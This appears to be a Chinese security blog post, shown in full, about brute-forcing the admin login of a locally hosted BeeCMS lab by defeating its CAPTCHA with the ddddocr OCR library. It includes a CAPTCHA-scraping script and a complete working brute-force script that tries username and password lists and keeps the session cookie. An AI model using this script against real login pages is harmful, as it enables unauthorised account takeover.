基于ddddocr库的网站验证码识别的爆破初探 |
您所在的位置：网站首页 › 验证码识别爆破了怎么办 › 基于ddddocr库的网站验证码识别的爆破初探 |
基于ddddocr库的网站验证码识别的爆破初探
|
前言 在常规的爆破工作中，如果网站的验证码无法绕过，这个时候就需要用到验证码的自动识别来辅助我们的爆破工作，本文将以最常用的数字加字母组合的4位验证码进行探讨，用到的实验环境是python的ddddocr库和beecms，关于beecms的代码审计，可以参考这位师傅的文章，https://www.freebuf.com/articles/web/340978.html 关于环境的搭建也不在复述。 机器学习用于验证码的识别在用于普通的字母加数字的组合验证码识别时，可以利用knn算法做一个识别，大概步骤如下： 1.爬取网站验证码图片； 2.对验证码图片进行处理，去除背景噪声，完成图片灰度化，字符串切割； 3.利用knn算法进行训练，利用训练好的模型文件去预测新的验证码。 本地搭建的环境如下：
验证码获取
通过编写爬虫获取一定量的验证码图片 代码实例 import requests url = "http://localhost/beecms/admin/admin_code.php" # 爬取网站 # 爬取100张验证码 for i in range(1, 101): get_img_response = requests.get(url) # 发送一个get请求 img_data = get_img_response.content with open("img/%d.png" % i, 'wb') as fp: fp.write(img_data) print("爬取结束！")爬取的图片 然后对图片进行“肉眼识别”并标记
但是做到这一步的时候也出现了一些问题， 比如数字“9”和字母“g” 应该怎么去判断 例如
我也尝试过看登录页面存在 9 和 g的情况去分辨差别在哪，但好像不是很明显。 其次在进行分割图片时，因为验证码的字符不是在规定区域内，可能会多个挤在一起，偏左或者偏右等情况，导致切割的字符串效果不太理想，这里就不放代码演示了。
有些切割到了，有些却没有，这会给后面的训练造成影响。 这时ddddocr库给我们解决了这个复杂的问题，这个库包含了很多关于验证码识别的已经训练好的数据模型，直接拿来用就可以了。 首先本地测试一下， 首先创建一个DdddOcr对象，然后调用classification去自动识别 import ddddocr ocr = ddddocr.DdddOcr() with open("5a4c.png", "rb") as f: im = f.read() r = ocr.classification(im) print(r)随便挑一张进行验证
（不过我后续进行关于字母 “g”和数字“9”的时候还是有些偏差） 可以进行识别，那就下来就进行爆破脚本的编写。 脚本编写首先登录的请求的url是这个 http://localhost/beecms/admin/login.php?action=ck_login 获取验证码的url是这个 http://localhost/beecms/admin/admin_code.php
可以看到请求参数并没有加密，那现在我们需要做的就是将code参数利用上面的ddddocr库去请求获取验证码的url识别并赋值，大致流程就是去请求这两个url，然后编写post请求去尝试登录，最终代码如下 import ddddocr import requests username = ["aaa", "ccc", "admin"] password = ["111", "admin"] docr = ddddocr.DdddOcr() header = {"Content-Type": "application/x-www-form-urlencoded"} code_url = "http://localhost/beecms/admin/admin_code.php" target_url = "http://localhost/beecms/admin/login.php?action=ck_login" response = requests.get(code_url) img_str = docr.classification(response.content) for u in username: for p in password: img_str = docr.classification(response.content) post_data = { "user": u, "password": p, "code": img_str, "submit": "true", "submit.x": "32", "submit.y": "38" } data = requests.post(target_url, data=post_data, headers=header, cookies=response.cookies) print("正在爆破用户名 " + u + " " + "密码 " + p) print(len(data.text)) if len(data.text) > 10000: print("爆破成功！！" + "用户名 " + u + " " + "密码 " + p)break print("爆破结束")username和password可以换成自己的字典，这里的话账号密码默认为admin/admin， 其中有几点需要注意： 1.登录失败会有4秒左右时间退回到登录页面，所以脚本运行时间较长； 2.还是上文数字"9"和字母“g”的问题，需要多爆破几次； 3.我判断是否登录成功利用返回包长度是否大于10000去判断； 4.post请求携带cookie是因为如果不携带，相当于打了两次请求过去，会出现验证码不同步的情况，所以需要将访问获取验证码请求的cookie加到post请求里。 这里附上爆破的结果
脚本有些小瑕疵。。。。后面在慢慢完善吧。 结尾利用ddddocr库可以很方便快捷的实现验证码的识别，这个库还可以识别滑动解锁，选字填充等其他类型验证码的识别，后续遇到如果遇到的站点有这样的验证码，再继续尝试吧。 参考资料https://www.freebuf.com/articles/web/340978.html https://wenanzhe.com |
【本文地址】